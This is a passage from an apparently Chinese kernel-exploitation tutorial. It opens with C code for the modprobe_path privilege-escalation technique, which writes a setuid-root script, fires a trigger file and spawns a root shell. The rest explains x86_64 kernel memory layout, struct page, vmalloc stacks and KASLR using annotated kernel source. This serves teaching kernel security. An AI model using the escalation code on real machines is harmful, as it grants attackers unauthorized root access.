if (modprobe_fd == -1) {
perror("[-] failed to open /proc/sys/kernel/modprobe.");
return 0;
}

size_t read_len = read(modprobe_fd, modprobe_path, len);
if (read_len == -1) {
perror("[-] failed to read /proc/sys/kernel/modprobe.");
close(modprobe_fd);
return 0;
}

if (read_len == len) {
puts("[-] /proc/sys/kernel/modprobe may not read completely.");
return -1;
}

read_len = strlen(modprobe_path);

if (read_len > 1 && modprobe_path[read_len - 1] == '\n') {
modprobe_path[--read_len] = '\0';
}

close(modprobe_fd);

return read_len;
}

int main(int argc, char *argv[], char *envp[]) {
if (argc < 2) {
int status_fd[2];
socketpair(AF_UNIX, SOCK_STREAM, 0, status_fd);

char *program_path = realpath("/proc/self/exe", NULL);

pid_t pid = fork();
if (pid > 0) {
uint8_t status;
read(status_fd[0], &status, 1);


char modprobe_path[PATH_MAX];
get_modprobe_path(modprobe_path, sizeof(modprobe_path));
int modprobe_fd = open(modprobe_path, O_WRONLY | O_CREAT | O_TRUNC, 0755);
if (modprobe_fd == -1) {
printf("[-] failed to open modprobe path %s.\n", modprobe_path);
return EXIT_FAILURE;
}

printf("[*] creating modprobe script file %s.\n", modprobe_path);
dprintf(modprobe_fd, "#! /bin/sh\nchown 0:0 %s\nchmod 4555 %s\n", program_path, program_path);
close(modprobe_fd);

puts("[*] creating trigger file /tmp/trigger.");
int trigger_fd = open("/tmp/trigger", O_WRONLY | O_CREAT | O_TRUNC, 0755);
write(trigger_fd, "\xFF\xFF\xFF\xFF", 4);
close(trigger_fd);

puts("[*] executing trigger file...");
system("/tmp/trigger");

char *shell_command;
asprintf(&shell_command, "%s shell", program_path);
system(shell_command);
free(shell_command);
free(program_path);

return 0;
}
if (pid == 0) {
const char *new_argv[] = {
"/usr/bin/unshare",
"-Urn",
program_path,
NULL,
NULL
};
asprintf(&new_argv[3], "%d", status_fd[1]);

execve(new_argv[0], new_argv, envp);
} else {
perror("[-] fork failed");
}
}

if (!strcmp(argv[1], "shell")) {
setuid(0);
setgid(0);

char modprobe_path[PATH_MAX];
get_modprobe_path(modprobe_path, sizeof(modprobe_path));
remove(modprobe_path);
remove("/tmp/trigger");
system("echo \"/sbin/modprobe\" > /proc/sys/kernel/modprobe");

puts("[+] spawning a root shell...");
system("/bin/sh");

return 0;
}
int status_fd;
sscanf(argv[1], "%d", &status_fd);

system("sudo sh -c 'echo \"/tmp/my_modprobe\" > /proc/sys/kernel/modprobe'");

write(status_fd, "1", 1);

return 0;
}

内存管理

内存映射

在 Linux 内核源码中的文档 Documentation/x86/x86_64/mm.rst 中有对 Linux 内核的内存映射的详细描述。

完整的虚拟内存映射(4 级页表)

  • 诸如 “-23 TB” 这样的负地址是以字节为单位的绝对地址,计算方式是从 64 位地址空间的顶部开始向下计算。通过绝对地址和距离顶部的表示方式结合来看,内存布局会更容易理解。例如,0xffffe90000000000 就等于 -23 TB,它比 64 位地址空间的顶部(ffffffffffffffff)低 23 TB。请注意,当我们接近地址空间的顶部时,表示法会从 TB 变为 GB,接着变为 MB/KB。

  • “16M TB” 可能一开始看起来很奇怪,但它比 “16 EB” 更容易理解为大小表示,因为 “16 EB” 可能让人难以第一时间意识到是 16 埃克萨字节(Exabyte)。它还很好地展示了 64 位地址空间是多么巨大。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
========================================================================================================================
Start addr | Offset | End addr | Size | VM area description
========================================================================================================================
| | | |
0000000000000000 | 0 | 00007fffffffffff | 128 TB | user-space virtual memory, different per mm
__________________|____________|__________________|_________|___________________________________________________________
| | | |
0000800000000000 | +128 TB | ffff7fffffffffff | ~16M TB | ... huge, almost 64 bits wide hole of non-canonical
| | | | virtual memory addresses up to the -128 TB
| | | | starting offset of kernel mappings.
__________________|____________|__________________|_________|___________________________________________________________
|
| Kernel-space virtual memory, shared between all processes:
____________________________________________________________|___________________________________________________________
| | | |
ffff800000000000 | -128 TB | ffff87ffffffffff | 8 TB | ... guard hole, also reserved for hypervisor
ffff880000000000 | -120 TB | ffff887fffffffff | 0.5 TB | LDT remap for PTI
ffff888000000000 | -119.5 TB | ffffc87fffffffff | 64 TB | direct mapping of all physical memory (page_offset_base)
ffffc88000000000 | -55.5 TB | ffffc8ffffffffff | 0.5 TB | ... unused hole
ffffc90000000000 | -55 TB | ffffe8ffffffffff | 32 TB | vmalloc/ioremap space (vmalloc_base)
ffffe90000000000 | -23 TB | ffffe9ffffffffff | 1 TB | ... unused hole
ffffea0000000000 | -22 TB | ffffeaffffffffff | 1 TB | virtual memory map (vmemmap_base)
ffffeb0000000000 | -21 TB | ffffebffffffffff | 1 TB | ... unused hole
ffffec0000000000 | -20 TB | fffffbffffffffff | 16 TB | KASAN shadow memory
__________________|____________|__________________|_________|____________________________________________________________
|
| Identical layout to the 56-bit one from here on:
____________________________________________________________|____________________________________________________________
| | | |
fffffc0000000000 | -4 TB | fffffdffffffffff | 2 TB | ... unused hole
| | | | vaddr_end for KASLR
fffffe0000000000 | -2 TB | fffffe7fffffffff | 0.5 TB | cpu_entry_area mapping
fffffe8000000000 | -1.5 TB | fffffeffffffffff | 0.5 TB | ... unused hole
ffffff0000000000 | -1 TB | ffffff7fffffffff | 0.5 TB | %esp fixup stacks
ffffff8000000000 | -512 GB | ffffffeeffffffff | 444 GB | ... unused hole
ffffffef00000000 | -68 GB | fffffffeffffffff | 64 GB | EFI region mapping space
ffffffff00000000 | -4 GB | ffffffff7fffffff | 2 GB | ... unused hole
ffffffff80000000 | -2 GB | ffffffff9fffffff | 512 MB | kernel text mapping, mapped to physical address 0
ffffffff80000000 |-2048 MB | | |
ffffffffa0000000 |-1536 MB | fffffffffeffffff | 1520 MB | module mapping space
ffffffffff000000 | -16 MB | | |
FIXADDR_START | ~-11 MB | ffffffffff5fffff | ~0.5 MB | kernel-internal fixmap range, variable size and offset
ffffffffff600000 | -10 MB | ffffffffff600fff | 4 kB | legacy vsyscall ABI
ffffffffffe00000 | -2 MB | ffffffffffffffff | 2 MB | ... unused hole
__________________|____________|__________________|_________|___________________________________________________________

完整的虚拟内存映射(5 级页表)

  • 使用 56 位地址时,用户空间的内存扩展了 512 倍,从 0.125 PB 增加到 64 PB。所有内核映射会向下移动至 -64 PB 起始偏移位置,并且许多内存区域会扩展以支持更大容量的物理内存。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
========================================================================================================================
Start addr | Offset | End addr | Size | VM area description
========================================================================================================================
| | | |
0000000000000000 | 0 | 00ffffffffffffff | 64 PB | user-space virtual memory, different per mm
__________________|____________|__________________|_________|___________________________________________________________
| | | |
0100000000000000 | +64 PB | feffffffffffffff | ~16K PB | ... huge, still almost 64 bits wide hole of non-canonical
| | | | virtual memory addresses up to the -64 PB
| | | | starting offset of kernel mappings.
__________________|____________|__________________|_________|___________________________________________________________
|
| Kernel-space virtual memory, shared between all processes:
____________________________________________________________|___________________________________________________________
| | | |
ff00000000000000 | -64 PB | ff0fffffffffffff | 4 PB | ... guard hole, also reserved for hypervisor
ff10000000000000 | -60 PB | ff10ffffffffffff | 0.25 PB | LDT remap for PTI
ff11000000000000 | -59.75 PB | ff90ffffffffffff | 32 PB | direct mapping of all physical memory (page_offset_base)
ff91000000000000 | -27.75 PB | ff9fffffffffffff | 3.75 PB | ... unused hole
ffa0000000000000 | -24 PB | ffd1ffffffffffff | 12.5 PB | vmalloc/ioremap space (vmalloc_base)
ffd2000000000000 | -11.5 PB | ffd3ffffffffffff | 0.5 PB | ... unused hole
ffd4000000000000 | -11 PB | ffd5ffffffffffff | 0.5 PB | virtual memory map (vmemmap_base)
ffd6000000000000 | -10.5 PB | ffdeffffffffffff | 2.25 PB | ... unused hole
ffdf000000000000 | -8.25 PB | fffffbffffffffff | ~8 PB | KASAN shadow memory
__________________|____________|__________________|_________|____________________________________________________________
|
| Identical layout to the 47-bit one from here on:
____________________________________________________________|____________________________________________________________
| | | |
fffffc0000000000 | -4 TB | fffffdffffffffff | 2 TB | ... unused hole
| | | | vaddr_end for KASLR
fffffe0000000000 | -2 TB | fffffe7fffffffff | 0.5 TB | cpu_entry_area mapping
fffffe8000000000 | -1.5 TB | fffffeffffffffff | 0.5 TB | ... unused hole
ffffff0000000000 | -1 TB | ffffff7fffffffff | 0.5 TB | %esp fixup stacks
ffffff8000000000 | -512 GB | ffffffeeffffffff | 444 GB | ... unused hole
ffffffef00000000 | -68 GB | fffffffeffffffff | 64 GB | EFI region mapping space
ffffffff00000000 | -4 GB | ffffffff7fffffff | 2 GB | ... unused hole
ffffffff80000000 | -2 GB | ffffffff9fffffff | 512 MB | kernel text mapping, mapped to physical address 0
ffffffff80000000 |-2048 MB | | |
ffffffffa0000000 |-1536 MB | fffffffffeffffff | 1520 MB | module mapping space
ffffffffff000000 | -16 MB | | |
FIXADDR_START | ~-11 MB | ffffffffff5fffff | ~0.5 MB | kernel-internal fixmap range, variable size and offset
ffffffffff600000 | -10 MB | ffffffffff600fff | 4 kB | legacy vsyscall ABI
ffffffffffe00000 | -2 MB | ffffffffffffffff | 2 MB | ... unused hole
__________________|____________|__________________|_________|___________________________________________________________

架构定义了 64 位虚拟地址。实现可以支持更少的位数。目前支持的虚拟地址有 48 位和 57 位。位 63 到实现的最高有效位会进行符号扩展。这会导致如果将用户空间和内核地址视为无符号数时,它们之间会出现间隙。

直接映射覆盖系统中的所有内存,直到最高内存地址(这意味着在某些情况下,它还可以包括 PCI 内存孔)。

我们将 EFI 运行时服务映射到 efi_pgd PGD 中的一个 64GB 大小的虚拟内存窗口(这个大小是任意的,如果需要,稍后可以增大)。这些映射不属于任何其他内核 PGD,并且仅在 EFI 运行时调用期间可用。

请注意,如果启用了 CONFIG_RANDOMIZE_MEMORY,所有物理内存的直接映射、vmalloc/ioremap 空间和虚拟内存映射都会被随机化。它们的顺序会保持不变,但它们的基址将在启动时被提前偏移。

在更改此处内容时,请非常小心 KASLR。KASLR 地址范围不能与任何其他区域重叠,除了 KASAN 阴影区域,因为 KASAN 会禁用 KASLR。

对于 4 级和 5 级布局,最后 2MB 空洞中的 STACKLEAK_POISON 值:ffffffffffffff4111

目前我们常见的都是 4 级页表的内存映射,此时的内存布局如下:

1
#define MODULES_VADDR		(__START_KERNEL_map + KERNEL_IMAGE_SIZE)

常见内存映射区

线性映射区

在Linux内核中,线性映射区(Linear Mapping Area)是指一个虚拟内存区域,在该区域内,虚拟地址和物理地址之间建立了直接的、一对一的映射关系。

具体来说,内核将物理内存从地址 0x00000000 开始,线性地映射到内核虚拟地址空间中的一个高端固定地址区间,而这个地址区间的起始位置由内核中的 page_offset_base 变量存储。

在 64 位 x86 架构上,不考虑地址随机化的情况下,内核将物理内存从 0x00000000 映射到虚拟地址 0xffff888000000000 开始的一段区域。

1
2
#define __PAGE_OFFSET_BASE_L4	_AC(0xffff888000000000, UL)
unsigned long page_offset_base __ro_after_init = __PAGE_OFFSET_BASE_L4;

虚拟内存映射区域

在 Linux 内核中,虚拟内存映射区域(Virtual Memory Map Area)是指内核虚拟地址空间中专门用于管理和跟踪物理内存页面的一个特定区域。这个区域主要用于存放与每个物理页面对应的 struct page 结构体。通过这种映射,内核能够高效地管理物理内存,包括分配、回收、页面状态跟踪等操作。

vmemmap_base 是虚拟内存映射区域的起始地址,通常该地址为 0xffffea0000000000

1
2
#define __VMEMMAP_BASE_L4	0xffffea0000000000UL
unsigned long vmemmap_base __ro_after_init = __VMEMMAP_BASE_L4;

其中 page 结构体定义如下(不同版本内核可能有区别)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
struct page {
unsigned long flags; /* 原子标志,一些标志可能会异步更新 */

/*
* 这个联合体(union)有五个字(20字节/40字节)可用。
* 警告:第一个字的第0位被用于 PageTail()。这意味着该联合体的其他使用者
* 必须避免使用该位,以防止与 PageTail() 冲突并产生误报。
*/
union {
struct { /* 页面缓存和匿名页面 */
/**
* @lru: 页面淘汰列表,例如由 zone_lru_lock 保护的 active_list。
* 有时也被页面所有者用作通用列表。
*/
struct list_head lru;

/* 参见 page-flags.h 中的 PAGE_MAPPING_FLAGS */
struct address_space *mapping;

pgoff_t index; /* 在映射中的偏移量。 */

/**
* @private: 映射私有的不可见数据。
* 通常在 PagePrivate 时用于 buffer_heads。
* 在 PageSwapCache 时用于 swp_entry_t。
* 在 PageBuddy 时表示伙伴系统中的顺序。
*/
unsigned long private;
};

struct { /* slab、slob 和 slub 内存分配器使用 */
union {
struct list_head slab_list; /* 使用 lru 列表 */
struct { /* 部分页面 */
struct page *next; /* 指向下一个部分页面 */
#ifdef CONFIG_64BIT
int pages; /* 剩余页数 */
int pobjects; /* 近似对象数 */
#else
short int pages; /* 剩余页数 */
short int pobjects; /* 近似对象数 */
#endif
};
};

struct kmem_cache *slab_cache; /* 非 slob 分配器使用,指向所属的 slab 缓存 */

/* 双字边界对齐 */
void *freelist; /* 第一个空闲对象的指针 */

union {
void *s_mem; /* slab 分配器:指向第一个对象 */
unsigned long counters; /* SLUB 分配器的计数器 */
struct { /* SLUB 分配器的状态 */
unsigned inuse:16; /* 正在使用的对象数 */
unsigned objects:15; /* 总对象数 */
unsigned frozen:1; /* 是否被冻结 */
};
};
};

struct { /* 复合页面的尾页 */
unsigned long compound_head; /* 指向复合页面头部的指针,设置了第0位 */

/* 仅限第一个尾页 */
unsigned char compound_dtor; /* 复合页面的析构函数标志 */
unsigned char compound_order; /* 复合页面的阶数 */
atomic_t compound_mapcount; /* 复合页面的映射计数 */
};

struct { /* 复合页面的第二个尾页 */
unsigned long _compound_pad_1; /* compound_head 的填充 */
unsigned long _compound_pad_2; /* 另一部分填充 */
struct list_head deferred_list; /* 延迟处理的页面列表 */
};

struct { /* 页表页面 */
unsigned long _pt_pad_1; /* compound_head 的填充 */
pgtable_t pmd_huge_pte; /* 受 page->ptl 保护的巨大页表项 */
unsigned long _pt_pad_2; /* mapping 的填充 */
union {
struct mm_struct *pt_mm; /* 仅 x86 页目录使用,指向内存管理结构 */
atomic_t pt_frag_refcount; /* PowerPC 架构下的页表碎片引用计数 */
};
#if ALLOC_SPLIT_PTLOCKS
spinlock_t *ptl; /* 分割页锁分配,用于并发保护 */
#else
spinlock_t ptl; /* 统一页锁,保护页表的访问 */
#endif
};

struct { /* ZONE_DEVICE 页面 */
/** @pgmap: 指向宿主设备页面映射的指针。 */
struct dev_pagemap *pgmap;
unsigned long hmm_data; /* 高级内存管理数据 */
unsigned long _zd_pad_1; /* 使用 mapping 的填充 */
};

/** @rcu_head: 可以通过 RCU 释放页面。 */
struct rcu_head rcu_head;
};

union { /* 这个联合体大小为4字节。 */
/*
* 如果页面可以映射到用户空间,编码页面表中引用该页面的次数。
*/
atomic_t _mapcount;

/*
* 如果页面既不是 PageSlab 也不可映射到用户空间,
* 存储在这里的值可能有助于确定该页面的用途。
* 参见 page-flags.h 中当前存储的页面类型列表。
*/
unsigned int page_type;

unsigned int active; /* SLAB 分配器的活动状态 */
int units; /* SLOB 分配器的单位数 */
};

/* 使用计数。*不要直接使用*。参见 page_ref.h */
atomic_t _refcount;

#ifdef CONFIG_MEMCG
struct mem_cgroup *mem_cgroup; /* 内存控制组,管理页面所属的内存控制组 */
#endif

/*
* 在所有 RAM 都映射到内核地址空间的机器上,
* 我们可以简单地计算虚拟地址。在有 highmem 的机器上,
* 一些内存动态映射到内核虚拟内存,因此我们需要一个地方来存储该地址。
* 注意,这个字段在 x86 上可能只有16位... ;)
*
* 具有慢速乘法的架构可以在 asm/page.h 中定义
* WANT_PAGE_VIRTUAL
*/
#if defined(WANT_PAGE_VIRTUAL)
void *virtual; /* 内核虚拟地址(如果未 kmapped,则为 NULL,即 highmem) */
#endif /* WANT_PAGE_VIRTUAL */

#ifdef LAST_CPUPID_NOT_IN_PAGE_FLAGS
int _last_cpupid; /* 最近使用该页面的 CPU 的 PID,用于调试和优化 */
#endif
} _struct_page_alignment;

struct page 结构体是 Linux 内核中用于管理和跟踪物理内存页面的核心数据结构。它在内核的内存管理系统中扮演着关键角色,负责记录每个物理页面的状态、引用计数、映射关系及其他相关信息:

  • 页面状态标志管理
    • **flags**:存储页面的各种状态标志,如是否被分配、是否可写、是否被锁定等。这些标志通过原子操作更新,确保在多核处理器环境下的线程安全。
  • 引用计数与使用管理
    • **_refcount**:跟踪页面的引用计数,决定页面何时可以被回收或重新分配。通过引用计数机制,内核能够有效管理页面的生命周期,防止内存泄漏或重复释放。
    • **_mapcount**:记录页面在页表中被引用的次数(如果页面可映射到用户空间)。用于管理页面在不同虚拟地址空间中的映射关系,确保页面在被多个进程共享时的正确性。
  • 页面映射与地址空间管理
    • mapping 和 **index**:指向页面所属的地址空间(如文件系统的地址空间)以及页面在映射中的偏移量。用于定位页面在文件或匿名内存中的具体位置。
    • **virtual**(可选):在某些架构上,存储页面在内核虚拟地址空间中的地址,特别是对于 highmem 页面。
  • 内存分配器支持
    • Slab、Slob 和 Slub 分配器:通过 slab_listfreelistslab_cache 等字段,管理内核内存分配器使用的页面。支持高效的内存分配与回收,优化内存使用和性能。
  • 复合页面管理
    • 复合页面相关字段:如 compound_headcompound_dtorcompound_ordercompound_mapcount,用于管理大页(如 2MB 或 1GB 页)的复合页面。支持页面的聚合与分离,提高大内存页的管理效率。
  • 页表页面管理
    • 页表页面字段:通过 pmd_huge_ptept_mmpt_frag_refcount 等字段,管理页表自身的页面。确保页表页面的并发访问和一致性,支持多级页表系统的高效运行。
    • 页表锁(ptl:用于保护页表的访问,防止并发修改引发的数据竞争。
  • 设备页面管理
    • ZONE_DEVICE 页面字段:通过 pgmaphmm_data,管理设备内存映射页面。支持设备驱动程序的高效内存使用和访问。
  • RCU 机制支持
    • **rcu_head**:允许通过 RCU(Read-Copy-Update)机制安全地延迟释放页面,确保在所有读者完成访问后再进行释放操作,防止数据竞争和内存错误。
  • 内存控制组支持
    • **mem_cgroup**:指向页面所属的内存控制组,用于实现内存资源的限制和分配。支持对不同进程组的内存使用进行精细化管理,提高系统资源利用率。
  • 其他辅助功能
    • **page_type**:如果页面既不是 PageSlab 也不可映射到用户空间,用于存储页面的类型,辅助确定页面的用途。
    • active 和 **units**:用于 SLAB 和 SLOB 分配器,记录页面的活动状态和分配单位数。

vmalloc/ioremap space

vmalloc/ioremap space 是 Linux 内核中的一个专用虚拟地址空间,主要用于内核通过 vmallocioremap 函数进行内存映射时,映射非连续的物理内存块。这一地址空间为内核提供了一个连续的虚拟地址区域,便于访问那些在物理内存中不连续的内存区域或设备内存。

  • **vmalloc space**:用于 vmalloc 动态分配大块内存,尤其是在物理内存碎片较多时,无法找到连续的物理页面。
  • **ioremap space**:用于将 I/O 设备(如网卡、显卡等)的物理内存地址映射到内核的虚拟地址空间,便于内核直接操作设备内存。

vmalloc_basevmalloc/ioremap space 的起始地址,通常该地址为 0xffffc90000000000

1
2
#define __VMALLOC_BASE_L4	0xffffc90000000000UL
unsigned long vmalloc_base __ro_after_init = __VMALLOC_BASE_L4;

值得一提是,如启用了 CONFIG_VMAP_STACK(默认启用),内核栈通过 vmalloc 动态分配,存放在 vmalloc/ioremap space 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
static unsigned long *alloc_thread_stack_node(struct task_struct *tsk, int node)
{
#ifdef CONFIG_VMAP_STACK
void *stack;
int i;

// 尝试从 CPU 缓存的栈列表中获取一个空闲的栈
for (i = 0; i < NR_CACHED_STACKS; i++) {
struct vm_struct *s;

// 通过原子交换方式获取缓存栈
s = this_cpu_xchg(cached_stacks[i], NULL);

if (!s)
continue;

/* 清除复用栈中的过时指针 */
memset(s->addr, 0, THREAD_SIZE);

// 设置任务的栈虚拟内存区域和栈地址
tsk->stack_vm_area = s;
tsk->stack = s->addr;
return s->addr;
}

/*
* 如果没有找到缓存栈,则通过 vmalloc 分配一个新的栈。
* 分配的栈会被缓存并在后续线程中复用,
* 因此需要手动进行内存控制组(memcg)计数。
* 这里去掉了 __GFP_ACCOUNT 标志,避免内存分配计入 memcg。
*/
stack = __vmalloc_node_range(THREAD_SIZE, THREAD_ALIGN,
VMALLOC_START, VMALLOC_END,
THREADINFO_GFP & ~__GFP_ACCOUNT,
PAGE_KERNEL,
0, node, __builtin_return_address(0));

/*
* 在中断上下文中不能调用 find_vm_area(),
* 因为 free_thread_stack() 可能在中断上下文中被调用,
* 所以我们将 vm_struct 进行缓存。
*/
if (stack) {
// 查找并记录分配的虚拟内存区域
tsk->stack_vm_area = find_vm_area(stack);
tsk->stack = stack;
}
return stack;
#else
// 如果没有启用 vmap 栈,使用传统的页分配方法来分配栈
struct page *page = alloc_pages_node(node, THREADINFO_GFP,
THREAD_SIZE_ORDER);

// 如果分配成功,返回栈的虚拟地址
return page ? page_address(page) : NULL;
#endif
}

注意

不是所有内核线程的栈都在 vmalloc/ioremap space 范围,比如在内核启动时,内核的第一个线程(通常是 swapperinit 线程)会使用 init_stack 来执行一些初始化工作。

1
extern unsigned long init_stack[THREAD_SIZE / sizeof(unsigned long)];

内核模块区

内核模块区是 Linux 内核中用于映射内核模块的区域,起始地址为 0xffffffff80000000 + 1024 * 1024 * 1024 = 0xffffffffc0000000,结束地址为 0xffffffffff000000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
* 定义模块相关的虚拟地址区域
*/
#define MODULE_ALIGN PAGE_SIZE // 模块加载基址的对齐值
#define MODULES_VADDR (__START_KERNEL_map + KERNEL_IMAGE_SIZE) // 模块加载的起始虚拟地址,位于内核映像之后
#define MODULES_END _AC(0xffffffffff000000, UL) // 模块加载的结束虚拟地址,通常设置为64位地址空间的上限
#define MODULES_LEN (MODULES_END - MODULES_VADDR) // 模块加载区域的长度,等于结束地址减去起始地址

/*
* 分配指定大小的内存用于加载模块。
* 如果 KASLR(内核地址空间布局随机化)启用,模块的加载地址会有所不同。
* 这个函数使用了 __vmalloc_node_range() 来从指定的内存区域分配内存。
*/
void *module_alloc(unsigned long size)
{
void *p;

// 检查请求的内存是否大于模块可用的内存区域,如果超出范围,则返回NULL
if (PAGE_ALIGN(size) > MODULES_LEN)
return NULL;

/*
* 使用 __vmalloc_node_range() 分配内存:
* size : 分配的内存大小
* MODULE_ALIGN : 对齐要求
* MODULES_VADDR + get_module_load_offset() : 分配地址起始位置(基于KASLR和偏移量)
* MODULES_END : 分配地址的结束位置
* GFP_KERNEL : 分配标志
* PAGE_KERNEL_EXEC : 页面类型,表示内存可执行
* 0 : 没有NUMA节点
* __builtin_return_address(0) : 当前函数调用的返回地址,用于调试
*/
p = __vmalloc_node_range(size, MODULE_ALIGN,
MODULES_VADDR + get_module_load_offset(),
MODULES_END, GFP_KERNEL,
PAGE_KERNEL_EXEC, 0, NUMA_NO_NODE,
__builtin_return_address(0));

// 如果内存分配成功且 KASAN(内核地址空间保护)检测失败
if (p && (kasan_module_alloc(p, size) < 0)) {
vfree(p); // 释放已分配的内存
return NULL; // 返回NULL,表示内存分配失败
}

// 返回分配的内存指针
return p;
}

KASLR

内核镜像地址随机化

对于 bzImage 这种压缩过的内核镜像,在启动内核前需要执行 extract_kernel 函数进行解压。其中调用的 choose_random_location 函数会选择一个随机的物理地址 output 和虚拟地址 virt_addr 作为内核镜像的存放地址。

提示

extract_kernel 函数中我们得出以下结论:

  • 只有压缩的内核镜像才会在随机地址加载,vmlinux 镜像加载地址不随机。

  • 内核镜像加载的物理地址和虚拟地址都要关于 MIN_KERNEL_ALIGN (0x200000) 对齐。

    1
    2
    3
    #define PMD_SHIFT	21
    # define MIN_KERNEL_ALIGN_LG2 PMD_SHIFT
    #define MIN_KERNEL_ALIGN (_AC(1, UL) << MIN_KERNEL_ALIGN_LG2)
  • 如果没有地址随机化,则内核加载的物理地址为 LOAD_PHYSICAL_ADDR(0x1000000)

    1
    2
    3
    4
    5
    #define CONFIG_PHYSICAL_START 0x1000000
    #define CONFIG_PHYSICAL_ALIGN 0x200000
    #define LOAD_PHYSICAL_ADDR ((CONFIG_PHYSICAL_START \
    + (CONFIG_PHYSICAL_ALIGN - 1)) \
    & ~(CONFIG_PHYSICAL_ALIGN - 1))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
/*
* 压缩后的内核镜像 (ZO) 已被移动到用于存放未压缩内核镜像 (VO) 和执行环境 (.bss, .brk) 的缓冲区末端,
* 这样可以确保有足够的空间进行原地解压缩。(有关计算,请参见 header.S。)
*
* |-----------压缩后的内核镜像----------|
* V V
* 0 extract_offset +INIT_SIZE
* |-----------|---------------|-------------------------|--------|
* | | | |
* VO__text startup_32 of ZO VO__end ZO__end
* ^ ^
* |--------------未压缩的内核镜像--------------|
*
*/
asmlinkage __visible void *extract_kernel(void *rmode, memptr heap,
unsigned char *input_data,
unsigned long input_len,
unsigned char *output,
unsigned long output_len)
{
// 计算未压缩内核镜像的总大小
const unsigned long kernel_total_size = VO__end - VO__text;
// 初始化虚拟地址为加载物理地址
unsigned long virt_addr = LOAD_PHYSICAL_ADDR;

/* 保留从 startup_32/64 传递过来的 x86 启动参数指针 */
boot_params = rmode;

/* 清除标志位 KASLR_FLAG */
boot_params->hdr.loadflags &= ~KASLR_FLAG;

// [...]

/*
* 内核所需的内存空洞是以下两者中的较大值:
* 1. 完整的解压内核加上重定位表
* 2. 完整的解压内核加上 .bss 和 .brk 段
*/
choose_random_location((unsigned long)input_data, input_len,
(unsigned long *)&output,
max(output_len, kernel_total_size),
&virt_addr);

/* 验证内存位置的选择是否正确 */
if ((unsigned long)output & (MIN_KERNEL_ALIGN - 1))
error("Destination physical address inappropriately aligned");
if (virt_addr & (MIN_KERNEL_ALIGN - 1))
error("Destination virtual address inappropriately aligned");

// [...]

// 输出解压内核的调试信息
debug_putstr("\nDecompressing Linux... ");
// 执行内核解压缩
__decompress(input_data, input_len, NULL, NULL, output, output_len,
NULL, error);
// 解析 ELF 格式的内核镜像
parse_elf(output);
// 处理重定位
handle_relocations(output, output_len, virt_addr);
// 输出完成信息并启动内核
debug_putstr("done.\nBooting the kernel.\n");
return output;
}

choose_random_location 函数中会调用 find_random_phys_addrfind_random_virt_addr 函数分别选择一个随机的物理地址和虚拟地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

/*
* choose_random_location - 选择随机的物理和虚拟地址位置
*
* @input: 解压前内核镜像的起始物理地址
* @input_size: 解压前内核镜像的大小
* @output: 为解压后内核镜像随机选择的物理地址
* @output_size: 解压后内核镜像的大小
* @virt_addr: 为解压后内核镜像随机选择的虚拟地址
*
* 该函数负责选择一个随机的物理地址和虚拟地址,用于内核加载,
* 以实现KASLR的随机化效果。它首先检查命令行是否禁用了KASLR,
* 然后初始化身份映射页表,记录需要避开的内存区域,
* 并通过find_random_phys_addr和find_random_virt_addr函数选择随机地址。
*/
void choose_random_location(unsigned long input,
unsigned long input_size,
unsigned long *output,
unsigned long output_size,
unsigned long *virt_addr)
{
unsigned long random_addr, min_addr;

/* 检查命令行参数是否禁用了KASLR */
if (cmdline_find_option_bool("nokaslr")) {
warn("KASLR disabled: 'nokaslr' on cmdline.");
return;
}

/*
* 设置KASLR标志,表示内核将被随机化加载。
* 在后续流程中因为这个标志位,线性映射区、虚拟内存映射区域和 vmalloc/ioremap space 都会被随机化。
*/
boot_params->hdr.loadflags |= KASLR_FLAG;

/* 初始化身份映射页表,为随机化过程做好准备 */
initialize_identity_maps();

/*
* 记录各种已知的不安全内存范围的 mem_avoid 数组,避免内存重叠
* 其中参数用来计算解压内核所用到的内存区域的范围。
*/
mem_avoid_init(input, input_size, *output);

/*
* 随机化范围的低端应为 512M 或初始内核镜像默认加载位置中的较小者,
* 以确保内核不会加载到过低的内存地址,防止与系统保留内存冲突。
*/
min_addr = min(*output, 512UL << 20);

/* 遍历可用的内存条目以找到随机地址 */
random_addr = find_random_phys_addr(min_addr, output_size);
if (!random_addr) {
warn("Physical KASLR disabled: no suitable memory region!");
} else {
/* 如果找到新的物理地址,则更新输出地址 */
if (*output != random_addr) {
add_identity_map(random_addr, output_size);
*output = random_addr;
}

/*
* 加载身份映射页表。
* 只有在为内核找到新的物理地址时才应执行此操作,
* 否则应保留旧的页表,使其类似于 "nokaslr" 情况。
*/
finalize_identity_maps();
}

/* 如果是64位系统,则选择一个随机的虚拟地址 */
if (IS_ENABLED(CONFIG_X86_64))
random_addr = find_random_virt_addr(LOAD_PHYSICAL_ADDR, output_size);
*virt_addr = random_addr;
}

内存映射区随机化

